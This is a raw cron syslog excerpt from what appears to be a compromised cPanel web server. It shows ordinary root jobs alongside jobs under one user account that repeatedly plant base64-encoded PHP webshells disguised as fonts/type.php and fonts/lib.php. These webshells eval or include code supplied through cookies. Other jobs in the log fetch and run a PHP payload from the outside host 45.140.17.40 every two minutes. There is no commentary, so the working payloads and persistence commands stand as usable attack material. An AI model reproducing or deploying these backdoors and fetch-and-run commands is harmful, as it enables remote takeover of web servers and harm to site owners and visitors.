Sep 10 15:51:01 ip-184-168-122-23 CROND[1600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:51:01 ip-184-168-122-23 CROND[1601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:52:01 ip-184-168-122-23 CROND[1692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:52:01 ip-184-168-122-23 CROND[1694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:52:01 ip-184-168-122-23 CROND[1696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:52:01 ip-184-168-122-23 CROND[1695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:52:01 ip-184-168-122-23 CROND[1697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:53:01 ip-184-168-122-23 CROND[1798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:53:01 ip-184-168-122-23 CROND[1799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:53:01 ip-184-168-122-23 CROND[1801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:53:01 ip-184-168-122-23 CROND[1802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:54:01 ip-184-168-122-23 CROND[1898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:54:01 ip-184-168-122-23 CROND[1900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:54:01 ip-184-168-122-23 CROND[1902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:54:01 ip-184-168-122-23 CROND[1903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:54:01 ip-184-168-122-23 CROND[1901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:55:01 ip-184-168-122-23 CROND[2019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:55:01 ip-184-168-122-23 CROND[2021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:55:01 ip-184-168-122-23 CROND[2023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:55:01 ip-184-168-122-23 CROND[2024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:55:01 ip-184-168-122-23 CROND[2025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:55:01 ip-184-168-122-23 CROND[2026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:56:01 ip-184-168-122-23 CROND[2232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:56:01 ip-184-168-122-23 CROND[2234]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:56:01 ip-184-168-122-23 CROND[2236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:56:01 ip-184-168-122-23 CROND[2233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:56:01 ip-184-168-122-23 CROND[2237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:57:01 ip-184-168-122-23 CROND[2333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:57:01 ip-184-168-122-23 CROND[2335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:57:01 ip-184-168-122-23 CROND[2336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:57:01 ip-184-168-122-23 CROND[2337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:58:01 ip-184-168-122-23 CROND[2421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:58:01 ip-184-168-122-23 CROND[2423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:58:01 ip-184-168-122-23 CROND[2424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:58:01 ip-184-168-122-23 CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:58:01 ip-184-168-122-23 CROND[2426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:59:01 ip-184-168-122-23 CROND[2514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:59:01 ip-184-168-122-23 CROND[2516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:59:01 ip-184-168-122-23 CROND[2515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:59:01 ip-184-168-122-23 CROND[2517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:00:01 ip-184-168-122-23 CROND[2617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:00:01 ip-184-168-122-23 CROND[2619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:00:01 ip-184-168-122-23 CROND[2620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:00:01 ip-184-168-122-23 CROND[2623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:00:01 ip-184-168-122-23 CROND[2629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:00:01 ip-184-168-122-23 CROND[2625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:00:01 ip-184-168-122-23 CROND[2628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:00:01 ip-184-168-122-23 CROND[2626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:00:01 ip-184-168-122-23 CROND[2627]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 16:01:01 ip-184-168-122-23 CROND[2735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:01:01 ip-184-168-122-23 CROND[2736]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 16:01:01 ip-184-168-122-23 CROND[2738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:01:01 ip-184-168-122-23 CROND[2741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:01:01 ip-184-168-122-23 CROND[2740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:01:01 ip-184-168-122-23 CROND[2739]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2736]: starting 0anacron
Sep 10 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2755]: finished 0anacron
Sep 10 16:02:01 ip-184-168-122-23 CROND[2929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:02:01 ip-184-168-122-23 CROND[2932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:02:01 ip-184-168-122-23 CROND[2931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:02:01 ip-184-168-122-23 CROND[2933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:02:01 ip-184-168-122-23 CROND[2934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:03:02 ip-184-168-122-23 CROND[3038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:03:02 ip-184-168-122-23 CROND[3040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
